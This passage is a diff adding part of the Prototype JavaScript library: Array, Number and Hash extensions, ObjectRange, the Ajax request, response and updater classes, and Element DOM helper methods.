+  compact: function() {
+    return this.select(function(value) {
+      return value != null;
+    });
+  },
+
+  flatten: function() {
+    return this.inject([], function(array, value) {
+      return array.concat(Object.isArray(value) ?
+        value.flatten() : [value]);
+    });
+  },
+
+  without: function() {
+    var values = $A(arguments);
+    return this.select(function(value) {
+      return !values.include(value);
+    });
+  },
+
+  reverse: function(inline) {
+    return (inline !== false ? this : this.toArray())._reverse();
+  },
+
+  reduce: function() {
+    return this.length > 1 ? this : this[0];
+  },
+
+  uniq: function(sorted) {
+    return this.inject([], function(array, value, index) {
+      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
+        array.push(value);
+      return array;
+    });
+  },
+
+  intersect: function(array) {
+    return this.uniq().findAll(function(item) {
+      return array.detect(function(value) { return item === value });
+    });
+  },
+
+  clone: function() {
+    return [].concat(this);
+  },
+
+  size: function() {
+    return this.length;
+  },
+
+  inspect: function() {
+    return '[' + this.map(Object.inspect).join(', ') + ']';
+  },
+
+  toJSON: function() {
+    var results = [];
+    this.each(function(object) {
+      var value = Object.toJSON(object);
+      if (!Object.isUndefined(value)) results.push(value);
+    });
+    return '[' + results.join(', ') + ']';
+  }
+});
+
+// use native browser JS 1.6 implementation if available
+if (Object.isFunction(Array.prototype.forEach))
+  Array.prototype._each = Array.prototype.forEach;
+
+if (!Array.prototype.indexOf) Array.prototype.indexOf = function(item, i) {
+  i || (i = 0);
+  var length = this.length;
+  if (i < 0) i = length + i;
+  for (; i < length; i++)
+    if (this[i] === item) return i;
+  return -1;
+};
+
+if (!Array.prototype.lastIndexOf) Array.prototype.lastIndexOf = function(item, i) {
+  i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
+  var n = this.slice(0, i).reverse().indexOf(item);
+  return (n < 0) ? n : i - n - 1;
+};
+
+Array.prototype.toArray = Array.prototype.clone;
+
+function $w(string) {
+  if (!Object.isString(string)) return [];
+  string = string.strip();
+  return string ? string.split(/\s+/) : [];
+}
+
+if (Prototype.Browser.Opera){
+  Array.prototype.concat = function() {
+    var array = [];
+    for (var i = 0, length = this.length; i < length; i++) array.push(this[i]);
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      if (Object.isArray(arguments[i])) {
+        for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++)
+          array.push(arguments[i][j]);
+      } else {
+        array.push(arguments[i]);
+      }
+    }
+    return array;
+  };
+}
+Object.extend(Number.prototype, {
+  toColorPart: function() {
+    return this.toPaddedString(2, 16);
+  },
+
+  succ: function() {
+    return this + 1;
+  },
+
+  times: function(iterator, context) {
+    $R(0, this, true).each(iterator, context);
+    return this;
+  },
+
+  toPaddedString: function(length, radix) {
+    var string = this.toString(radix || 10);
+    return '0'.times(length - string.length) + string;
+  },
+
+  toJSON: function() {
+    return isFinite(this) ? this.toString() : 'null';
+  }
+});
+
+$w('abs round ceil floor').each(function(method){
+  Number.prototype[method] = Math[method].methodize();
+});
+function $H(object) {
+  return new Hash(object);
+};
+
+var Hash = Class.create(Enumerable, (function() {
+
+  function toQueryPair(key, value) {
+    if (Object.isUndefined(value)) return key;
+    return key + '=' + encodeURIComponent(String.interpret(value));
+  }
+
+  return {
+    initialize: function(object) {
+      this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
+    },
+
+    _each: function(iterator) {
+      for (var key in this._object) {
+        var value = this._object[key], pair = [key, value];
+        pair.key = key;
+        pair.value = value;
+        iterator(pair);
+      }
+    },
+
+    set: function(key, value) {
+      return this._object[key] = value;
+    },
+
+    get: function(key) {
+      // simulating poorly supported hasOwnProperty
+      if (this._object[key] !== Object.prototype[key])
+        return this._object[key];
+    },
+
+    unset: function(key) {
+      var value = this._object[key];
+      delete this._object[key];
+      return value;
+    },
+
+    toObject: function() {
+      return Object.clone(this._object);
+    },
+
+    keys: function() {
+      return this.pluck('key');
+    },
+
+    values: function() {
+      return this.pluck('value');
+    },
+
+    index: function(value) {
+      var match = this.detect(function(pair) {
+        return pair.value === value;
+      });
+      return match && match.key;
+    },
+
+    merge: function(object) {
+      return this.clone().update(object);
+    },
+
+    update: function(object) {
+      return new Hash(object).inject(this, function(result, pair) {
+        result.set(pair.key, pair.value);
+        return result;
+      });
+    },
+
+    toQueryString: function() {
+      return this.inject([], function(results, pair) {
+        var key = encodeURIComponent(pair.key), values = pair.value;
+
+        if (values && typeof values == 'object') {
+          if (Object.isArray(values))
+            return results.concat(values.map(toQueryPair.curry(key)));
+        } else results.push(toQueryPair(key, values));
+        return results;
+      }).join('&');
+    },
+
+    inspect: function() {
+      return '#<Hash:{' + this.map(function(pair) {
+        return pair.map(Object.inspect).join(': ');
+      }).join(', ') + '}>';
+    },
+
+    toJSON: function() {
+      return Object.toJSON(this.toObject());
+    },
+
+    clone: function() {
+      return new Hash(this);
+    }
+  }
+})());
+
+Hash.prototype.toTemplateReplacements = Hash.prototype.toObject;
+Hash.from = $H;
+var ObjectRange = Class.create(Enumerable, {
+  initialize: function(start, end, exclusive) {
+    this.start = start;
+    this.end = end;
+    this.exclusive = exclusive;
+  },
+
+  _each: function(iterator) {
+    var value = this.start;
+    while (this.include(value)) {
+      iterator(value);
+      value = value.succ();
+    }
+  },
+
+  include: function(value) {
+    if (value < this.start)
+      return false;
+    if (this.exclusive)
+      return value < this.end;
+    return value <= this.end;
+  }
+});
+
+var $R = function(start, end, exclusive) {
+  return new ObjectRange(start, end, exclusive);
+};
+
+var Ajax = {
+  getTransport: function() {
+    return Try.these(
+      function() {return new XMLHttpRequest()},
+      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
+      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
+    ) || false;
+  },
+
+  activeRequestCount: 0
+};
+
+Ajax.Responders = {
+  responders: [],
+
+  _each: function(iterator) {
+    this.responders._each(iterator);
+  },
+
+  register: function(responder) {
+    if (!this.include(responder))
+      this.responders.push(responder);
+  },
+
+  unregister: function(responder) {
+    this.responders = this.responders.without(responder);
+  },
+
+  dispatch: function(callback, request, transport, json) {
+    this.each(function(responder) {
+      if (Object.isFunction(responder[callback])) {
+        try {
+          responder[callback].apply(responder, [request, transport, json]);
+        } catch (e) { }
+      }
+    });
+  }
+};
+
+Object.extend(Ajax.Responders, Enumerable);
+
+Ajax.Responders.register({
+  onCreate:   function() { Ajax.activeRequestCount++ },
+  onComplete: function() { Ajax.activeRequestCount-- }
+});
+
+Ajax.Base = Class.create({
+  initialize: function(options) {
+    this.options = {
+      method:       'post',
+      asynchronous: true,
+      contentType:  'application/x-www-form-urlencoded',
+      encoding:     'UTF-8',
+      parameters:   '',
+      evalJSON:     true,
+      evalJS:       true
+    };
+    Object.extend(this.options, options || { });
+
+    this.options.method = this.options.method.toLowerCase();
+
+    if (Object.isString(this.options.parameters))
+      this.options.parameters = this.options.parameters.toQueryParams();
+    else if (Object.isHash(this.options.parameters))
+      this.options.parameters = this.options.parameters.toObject();
+  }
+});
+
+Ajax.Request = Class.create(Ajax.Base, {
+  _complete: false,
+
+  initialize: function($super, url, options) {
+    $super(options);
+    this.transport = Ajax.getTransport();
+    this.request(url);
+  },
+
+  request: function(url) {
+    this.url = url;
+    this.method = this.options.method;
+    var params = Object.clone(this.options.parameters);
+
+    if (!['get', 'post'].include(this.method)) {
+      // simulate other verbs over post
+      params['_method'] = this.method;
+      this.method = 'post';
+    }
+
+    this.parameters = params;
+
+    if (params = Object.toQueryString(params)) {
+      // when GET, append parameters to URL
+      if (this.method == 'get')
+        this.url += (this.url.include('?') ? '&' : '?') + params;
+      else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
+        params += '&_=';
+    }
+
+    try {
+      var response = new Ajax.Response(this);
+      if (this.options.onCreate) this.options.onCreate(response);
+      Ajax.Responders.dispatch('onCreate', this, response);
+
+      this.transport.open(this.method.toUpperCase(), this.url,
+        this.options.asynchronous);
+
+      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
+
+      this.transport.onreadystatechange = this.onStateChange.bind(this);
+      this.setRequestHeaders();
+
+      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
+      this.transport.send(this.body);
+
+      /* Force Firefox to handle ready state 4 for synchronous requests */
+      if (!this.options.asynchronous && this.transport.overrideMimeType)
+        this.onStateChange();
+
+    }
+    catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  onStateChange: function() {
+    var readyState = this.transport.readyState;
+    if (readyState > 1 && !((readyState == 4) && this._complete))
+      this.respondToReadyState(this.transport.readyState);
+  },
+
+  setRequestHeaders: function() {
+    var headers = {
+      'X-Requested-With': 'XMLHttpRequest',
+      'X-Prototype-Version': Prototype.Version,
+      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
+    };
+
+    if (this.method == 'post') {
+      headers['Content-type'] = this.options.contentType +
+        (this.options.encoding ? '; charset=' + this.options.encoding : '');
+
+      /* Force "Connection: close" for older Mozilla browsers to work
+       * around a bug where XMLHttpRequest sends an incorrect
+       * Content-length header. See Mozilla Bugzilla #246651.
+       */
+      if (this.transport.overrideMimeType &&
+          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
+            headers['Connection'] = 'close';
+    }
+
+    // user-defined headers
+    if (typeof this.options.requestHeaders == 'object') {
+      var extras = this.options.requestHeaders;
+
+      if (Object.isFunction(extras.push))
+        for (var i = 0, length = extras.length; i < length; i += 2)
+          headers[extras[i]] = extras[i+1];
+      else
+        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
+    }
+
+    for (var name in headers)
+      this.transport.setRequestHeader(name, headers[name]);
+  },
+
+  success: function() {
+    var status = this.getStatus();
+    return !status || (status >= 200 && status < 300);
+  },
+
+  getStatus: function() {
+    try {
+      return this.transport.status || 0;
+    } catch (e) { return 0 }
+  },
+
+  respondToReadyState: function(readyState) {
+    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
+
+    if (state == 'Complete') {
+      try {
+        this._complete = true;
+        (this.options['on' + response.status]
+         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
+         || Prototype.emptyFunction)(response, response.headerJSON);
+      } catch (e) {
+        this.dispatchException(e);
+      }
+
+      var contentType = response.getHeader('Content-type');
+      if (this.options.evalJS == 'force'
+          || (this.options.evalJS && this.isSameOrigin() && contentType
+          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
+        this.evalResponse();
+    }
+
+    try {
+      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
+      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
+    } catch (e) {
+      this.dispatchException(e);
+    }
+
+    if (state == 'Complete') {
+      // avoid memory leak in MSIE: clean up
+      this.transport.onreadystatechange = Prototype.emptyFunction;
+    }
+  },
+
+  isSameOrigin: function() {
+    var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
+    return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
+      protocol: location.protocol,
+      domain: document.domain,
+      port: location.port ? ':' + location.port : ''
+    }));
+  },
+
+  getHeader: function(name) {
+    try {
+      return this.transport.getResponseHeader(name) || null;
+    } catch (e) { return null }
+  },
+
+  evalResponse: function() {
+    try {
+      return eval((this.transport.responseText || '').unfilterJSON());
+    } catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  dispatchException: function(exception) {
+    (this.options.onException || Prototype.emptyFunction)(this, exception);
+    Ajax.Responders.dispatch('onException', this, exception);
+  }
+});
+
+Ajax.Request.Events =
+  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
+
+Ajax.Response = Class.create({
+  initialize: function(request){
+    this.request = request;
+    var transport  = this.transport  = request.transport,
+        readyState = this.readyState = transport.readyState;
+
+    if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
+      this.status       = this.getStatus();
+      this.statusText   = this.getStatusText();
+      this.responseText = String.interpret(transport.responseText);
+      this.headerJSON   = this._getHeaderJSON();
+    }
+
+    if(readyState == 4) {
+      var xml = transport.responseXML;
+      this.responseXML  = Object.isUndefined(xml) ? null : xml;
+      this.responseJSON = this._getResponseJSON();
+    }
+  },
+
+  status:      0,
+  statusText: '',
+
+  getStatus: Ajax.Request.prototype.getStatus,
+
+  getStatusText: function() {
+    try {
+      return this.transport.statusText || '';
+    } catch (e) { return '' }
+  },
+
+  getHeader: Ajax.Request.prototype.getHeader,
+
+  getAllHeaders: function() {
+    try {
+      return this.getAllResponseHeaders();
+    } catch (e) { return null }
+  },
+
+  getResponseHeader: function(name) {
+    return this.transport.getResponseHeader(name);
+  },
+
+  getAllResponseHeaders: function() {
+    return this.transport.getAllResponseHeaders();
+  },
+
+  _getHeaderJSON: function() {
+    var json = this.getHeader('X-JSON');
+    if (!json) return null;
+    json = decodeURIComponent(escape(json));
+    try {
+      return json.evalJSON(this.request.options.sanitizeJSON ||
+        !this.request.isSameOrigin());
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  },
+
+  _getResponseJSON: function() {
+    var options = this.request.options;
+    if (!options.evalJSON || (options.evalJSON != 'force' &&
+      !(this.getHeader('Content-type') || '').include('application/json')) ||
+        this.responseText.blank())
+          return null;
+    try {
+      return this.responseText.evalJSON(options.sanitizeJSON ||
+        !this.request.isSameOrigin());
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  }
+});
+
+Ajax.Updater = Class.create(Ajax.Request, {
+  initialize: function($super, container, url, options) {
+    this.container = {
+      success: (container.success || container),
+      failure: (container.failure || (container.success ? null : container))
+    };
+
+    options = Object.clone(options);
+    var onComplete = options.onComplete;
+    options.onComplete = (function(response, json) {
+      this.updateContent(response.responseText);
+      if (Object.isFunction(onComplete)) onComplete(response, json);
+    }).bind(this);
+
+    $super(url, options);
+  },
+
+  updateContent: function(responseText) {
+    var receiver = this.container[this.success() ? 'success' : 'failure'],
+        options = this.options;
+
+    if (!options.evalScripts) responseText = responseText.stripScripts();
+
+    if (receiver = $(receiver)) {
+      if (options.insertion) {
+        if (Object.isString(options.insertion)) {
+          var insertion = { }; insertion[options.insertion] = responseText;
+          receiver.insert(insertion);
+        }
+        else options.insertion(receiver, responseText);
+      }
+      else receiver.update(responseText);
+    }
+  }
+});
+
+Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
+  initialize: function($super, container, url, options) {
+    $super(options);
+    this.onComplete = this.options.onComplete;
+
+    this.frequency = (this.options.frequency || 2);
+    this.decay = (this.options.decay || 1);
+
+    this.updater = { };
+    this.container = container;
+    this.url = url;
+
+    this.start();
+  },
+
+  start: function() {
+    this.options.onComplete = this.updateComplete.bind(this);
+    this.onTimerEvent();
+  },
+
+  stop: function() {
+    this.updater.options.onComplete = undefined;
+    clearTimeout(this.timer);
+    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
+  },
+
+  updateComplete: function(response) {
+    if (this.options.decay) {
+      this.decay = (response.responseText == this.lastText ?
+        this.decay * this.options.decay : 1);
+
+      this.lastText = response.responseText;
+    }
+    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
+  },
+
+  onTimerEvent: function() {
+    this.updater = new Ajax.Updater(this.container, this.url, this.options);
+  }
+});
+function $(element) {
+  if (arguments.length > 1) {
+    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
+      elements.push($(arguments[i]));
+    return elements;
+  }
+  if (Object.isString(element))
+    element = document.getElementById(element);
+  return Element.extend(element);
+}
+
+if (Prototype.BrowserFeatures.XPath) {
+  document._getElementsByXPath = function(expression, parentElement) {
+    var results = [];
+    var query = document.evaluate(expression, $(parentElement) || document,
+      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+    for (var i = 0, length = query.snapshotLength; i < length; i++)
+      results.push(Element.extend(query.snapshotItem(i)));
+    return results;
+  };
+}
+
+/*--------------------------------------------------------------------------*/
+
+if (!window.Node) var Node = { };
+
+if (!Node.ELEMENT_NODE) {
+  // DOM level 2 ECMAScript Language Binding
+  Object.extend(Node, {
+    ELEMENT_NODE: 1,
+    ATTRIBUTE_NODE: 2,
+    TEXT_NODE: 3,
+    CDATA_SECTION_NODE: 4,
+    ENTITY_REFERENCE_NODE: 5,
+    ENTITY_NODE: 6,
+    PROCESSING_INSTRUCTION_NODE: 7,
+    COMMENT_NODE: 8,
+    DOCUMENT_NODE: 9,
+    DOCUMENT_TYPE_NODE: 10,
+    DOCUMENT_FRAGMENT_NODE: 11,
+    NOTATION_NODE: 12
+  });
+}
+
+(function() {
+  var element = this.Element;
+  this.Element = function(tagName, attributes) {
+    attributes = attributes || { };
+    tagName = tagName.toLowerCase();
+    var cache = Element.cache;
+    if (Prototype.Browser.IE && attributes.name) {
+      tagName = '<' + tagName + ' name="' + attributes.name + '">';
+      delete attributes.name;
+      return Element.writeAttribute(document.createElement(tagName), attributes);
+    }
+    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
+    return Element.writeAttribute(cache[tagName].cloneNode(false), attributes);
+  };
+  Object.extend(this.Element, element || { });
+  if (element) this.Element.prototype = element.prototype;
+}).call(window);
+
+Element.cache = { };
+
+Element.Methods = {
+  visible: function(element) {
+    return $(element).style.display != 'none';
+  },
+
+  toggle: function(element) {
+    element = $(element);
+    Element[Element.visible(element) ? 'hide' : 'show'](element);
+    return element;
+  },
+
+  hide: function(element) {
+    element = $(element);
+    element.style.display = 'none';
+    return element;
+  },
+
+  show: function(element) {
+    element = $(element);
+    element.style.display = '';
+    return element;
+  },
+
+  remove: function(element) {
+    element = $(element);
+    element.parentNode.removeChild(element);
+    return element;
+  },
+
+  update: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+    content = Object.toHTML(content);
+    element.innerHTML = content.stripScripts();
+    content.evalScripts.bind(content).defer();
+    return element;
+  },
+
+  replace: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    else if (!Object.isElement(content)) {
+      content = Object.toHTML(content);
+      var range = element.ownerDocument.createRange();
+      range.selectNode(element);
+      content.evalScripts.bind(content).defer();
+      content = range.createContextualFragment(content.stripScripts());
+    }
+    element.parentNode.replaceChild(content, element);
+    return element;
+  },
+
+  insert: function(element, insertions) {
+    element = $(element);
+
+    if (Object.isString(insertions) || Object.isNumber(insertions) ||
+        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
+          insertions = {bottom:insertions};
+
+    var content, insert, tagName, childNodes;
+
+    for (var position in insertions) {
+      content  = insertions[position];
+      position = position.toLowerCase();
+      insert = Element._insertionTranslations[position];
+
+      if (content && content.toElement) content = content.toElement();
+      if (Object.isElement(content)) {
+        insert(element, content);
+        continue;
+      }
+
+      content = Object.toHTML(content);
+
+      tagName = ((position == 'before' || position == 'after')
+        ? element.parentNode : element).tagName.toUpperCase();
+
+      childNodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+
+      if (position == 'top' || position == 'after') childNodes.reverse();
+      childNodes.each(insert.curry(element));
+
+      content.evalScripts.bind(content).defer();
+    }
+
+    return element;
+  },
+
+  wrap: function(element, wrapper, attributes) {
+    element = $(element);
+    if (Object.isElement(wrapper))
+      $(wrapper).writeAttribute(attributes || { });
+    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
+    else wrapper = new Element('div', wrapper);
+    if (element.parentNode)
+      element.parentNode.replaceChild(wrapper, element);
+    wrapper.appendChild(element);
+    return wrapper;
+  },
+
+  inspect: function(element) {
+    element = $(element);
+    var result = '<' + element.tagName.toLowerCase();
+    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
+      var property = pair.first(), attribute = pair.last();
+      var value = (element[property] || '').toString();
+      if (value) result += ' ' + attribute + '=' + value.inspect(true);
+    });
+    return result + '>';
+  },
+
+  recursivelyCollect: function(element, property) {
+    element = $(element);
+    var elements = [];
+    while (element = element[property])
+      if (element.nodeType == 1)
+        elements.push(Element.extend(element));
+    return elements;
+  },
+
+  ancestors: function(element) {
+    return $(element).recursivelyCollect('parentNode');
+  },
+
+  descendants: function(element) {
+    return $(element).select("*");
+  },
+
+  firstDescendant: function(element) {
+    element = $(element).firstChild;
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    return $(element);
+  },
+
+  immediateDescendants: function(element) {
+    if (!(element = $(element).firstChild)) return [];
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    if (element) return [element].concat($(element).nextSiblings());
+    return [];
+  },
+
+  previousSiblings: function(element) {
+    return $(element).recursivelyCollect('previousSibling');
+  },
+
+  nextSiblings: function(element) {
+    return $(element).recursivelyCollect('nextSibling');
+  },
+
+  siblings: function(element) {
+    element = $(element);
+    return element.previousSiblings().reverse().concat(element.nextSiblings());
+  },
+
+  match: function(element, selector) {
+    if (Object.isString(selector))
+      selector = new Selector(selector);
+    return selector.match($(element));
+  },
+
+  up: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(element.parentNode);
+    var ancestors = element.ancestors();
+    return Object.isNumber(expression) ? ancestors[expression] :
+      Selector.findElement(ancestors, expression, index);
+  },
+
+  down: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return element.firstDescendant();
+    return Object.isNumber(expression) ? element.descendants()[expression] :
+      Element.select(element, expression)[index || 0];
+  },
+
+  previous: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element));
+    var previousSiblings = element.previousSiblings();
+    return Object.isNumber(expression) ? previousSiblings[expression] :
+      Selector.findElement(previousSiblings, expression, index);
+  },
+
+  next: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element));
+    var nextSiblings = element.nextSiblings();
+    return Object.isNumber(expression) ? nextSiblings[expression] :
+      Selector.findElement(nextSiblings, expression, index);
+  },
+
+  select: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element, args);
+  },
+
+  adjacent: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element.parentNode, args).without(element);
+  },
+
+  identify: function(element) {
+    element = $(element);
+    var id = element.readAttribute('id'), self = arguments.callee;
+    if (id) return id;
+    do { id = 'anonymous_element_' + self.counter++ } while ($(id));
+    element.writeAttribute('id', id);
+    return id;
+  },
+
+  readAttribute: function(element, name) {
+    element = $(element);
+    if (Prototype.Browser.IE) {
+      var t = Element._attributeTranslations.read;
+      if (t.values[name]) return t.values[name](element, name);
+      if (t.names[name]) name = t.names[name];
+      if (name.include(':')) {
+        return (!element.attributes || !element.attributes[name]) ? null :
+         element.attributes[name].value;
+      }
+    }
+    return element.getAttribute(name);
+  },
+
+  writeAttribute: function(element, name, value) {
+    element = $(element);
+    var attributes = { }, t = Element._attributeTranslations.write;
+
+    if (typeof name == 'object') attributes = name;
+    else attributes[name] = Object.isUndefined(value) ? true : value;
+
+    for (var attr in attributes) {
+      name = t.names[attr] || attr;
+      value = attributes[attr];
+      if (t.values[attr]) name = t.values[attr](element, value);
+      if (value === false || value === null)
+        element.removeAttribute(name);
+      else if (value === true)
+        element.setAttribute(name, name);
+      else element.setAttribute(name, value);
+    }
+    return element;
+  },
+
+  getHeight: function(element) {
+    return $(element).getDimensions().height;
+  },
+
+  getWidth: function(element) {
+    return $(element).getDimensions().width;
+  },
+
+  classNames: function(element) {
+    return new Element.ClassNames(element);
+  },
+
+  hasClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    var elementClassName = element.className;
+    return (elementClassName.length > 0 && (elementClassName == className ||
+      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
+  },
+
+  addClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    if (!element.hasClassName(className))
+      element.className += (element.className ? ' ' : '') + className;
+    return element;
+  },
+
+  removeClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    element.className = element.className.replace(
+      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
+    return element;
+  },
+
+  toggleClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    return element[element.hasClassName(className) ?
+      'removeClassName' : 'addClassName'](className);
+  },
+
+  // removes whitespace-only text node children
+  cleanWhitespace: function(element) {
+    element = $(element);
+    var node = element.firstChild;
+    while (node) {
+      var nextNode = node.nextSibling;
+      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
+        element.removeChild(node);
+      node = nextNode;
+    }
+    return element;
+  },
+
+  empty: function(element) {
+    return $(element).innerHTML.blank();
+  },
+
+  descendantOf: function(element, ancestor) {
+    element = $(element), ancestor = $(ancestor);
+
+    if (element.compareDocumentPosition)
+      return (element.compareDocumentPosition(ancestor) & 8) === 8;
+
+    if (ancestor.contains)
+      return ancestor.contains(element) && ancestor !== element;
+
+    while (element = element.parentNode)
+      if (element == ancestor) return true;
+
+    return false;
+  },
+
+  scrollTo: function(element) {
+    element = $(element);
+    var pos = element.cumulativeOffset();
+    window.scrollTo(pos[0], pos[1]);
+    return element;
+  },
+
+  getStyle: function(element, style) {
+    element = $(element);
+    style = style == 'float' ? 'cssFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value || value == 'auto') {
+      var css = document.defaultView.getComputedStyle(element, null);
+      value = css ? css[style] : null;
+    }
+    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
+    return value == 'auto' ? null : value;
+  },
+
+  getOpacity: function(element) {
+    return $(element).getStyle('opacity');
+  },
+
+  setStyle: function(element, styles) {
+    element = $(element);
+    var elementStyle = element.style, match;
+    if (Object.isString(styles)) {
+      element.style.cssText += ';' + styles;
+      return styles.include('opacity') ?
+        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
+    }
+    for (var property in styles)
+      if (property == 'opacity') element.setOpacity(styles[property]);
+      else
+        elementStyle[(property == 'float' || property == 'cssFloat') ?
+          (Object.isUndefined(elementStyle.styleFloat) ? 'cssFloat' : 'styleFloat') :
+            property] = styles[property];
+
+    return element;
+  },
+
+  setOpacity: function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+    return element;
+  },
+
+  getDimensions: function(element) {
+    element = $(element);
+    var display = element.getStyle('display');
+    if (display != 'none' && display != null) // Safari bug
+      return {width: element.offsetWidth, height: element.offsetHeight};
+
+    // All *Width and *Height properties give 0 on elements with display none,
+    // so enable the element temporarily
+    var els = element.style;
+    var originalVisibility = els.visibility;
+    var originalPosition = els.position;
+    var originalDisplay = els.display;
+    els.visibility = 'hidden';
+    els.position = 'absolute';
+    els.display = 'block';
+    var originalWidth = element.clientWidth;
+    var originalHeight = element.clientHeight;
+    els.display = originalDisplay;
+    els.position = originalPosition;
+    els.visibility = originalVisibility;
+    return {width: originalWidth, height: originalHeight};
+  },
+
+  makePositioned: function(element) {
+    element = $(element);
+    var pos = Element.getStyle(element, 'position');
+    if (pos == 'static' || !pos) {
+      element._madePositioned = true;
+      element.style.position = 'relative';
+      // Opera returns the offset relative to the positioning context, when an
+      // element is position relative but top and left have not been defined
+      if (Prototype.Browser.Opera) {
+        element.style.top = 0;
+        element.style.left = 0;
+      }
+    }
+    return element;
+  },
+
+  undoPositioned: function(element) {
+    element = $(element);
+    if (element._madePositioned) {
+      element._madePositioned = undefined;
+      element.style.position =
+        element.style.top =
+        element.style.left =
+        element.style.bottom =
+        element.style.right = '';
+    }
+    return element;
+  },
+
+  makeClipping: function(element) {
+    element = $(element);
+    if (element._overflow) return element;
+    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
+    if (element._overflow !== 'hidden')
+      element.style.overflow = 'hidden';
+    return element;
+  },
+
+  undoClipping: function(element) {
+    element = $(element);
+    if (!element._overflow) return element;
+    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
+    element._overflow = null;
+    return element;
+  },
+
+  cumulativeOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  positionedOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+      if (element) {
+        if (element.tagName.toUpperCase() == 'BODY') break;
+        var p = Element.getStyle(element, 'position');
+        if (p !== 'static') break;
+      }
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  absolutize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'absolute') return element;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    var offsets = element.positionedOffset();
+    var top     = offsets[1];
+    var left    = offsets[0];
+    var width   = element.clientWidth;
+    var height  = element.clientHeight;
+
+    element._originalLeft   = left - parseFloat(element.style.left  || 0);
+    element._originalTop    = top  - parseFloat(element.style.top || 0);
+    element._originalWidth  = element.style.width;
+    element._originalHeight = element.style.height;
+
+    element.style.position = 'absolute';
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.width  = width + 'px';
+    element.style.height = height + 'px';
+    return element;
+  },
+
+  relativize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'relative') return element;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    element.style.position = 'relative';
+    var top  = parseFloat(element.style.top  || 0) - (element._originalTop || 0);
+    var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
+
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.height = element._originalHeight;
+    element.style.width  = element._originalWidth;
+    return element;
+  },
+
+  cumulativeScrollOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.scrollTop  || 0;
+      valueL += element.scrollLeft || 0;
+      element = element.parentNode;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
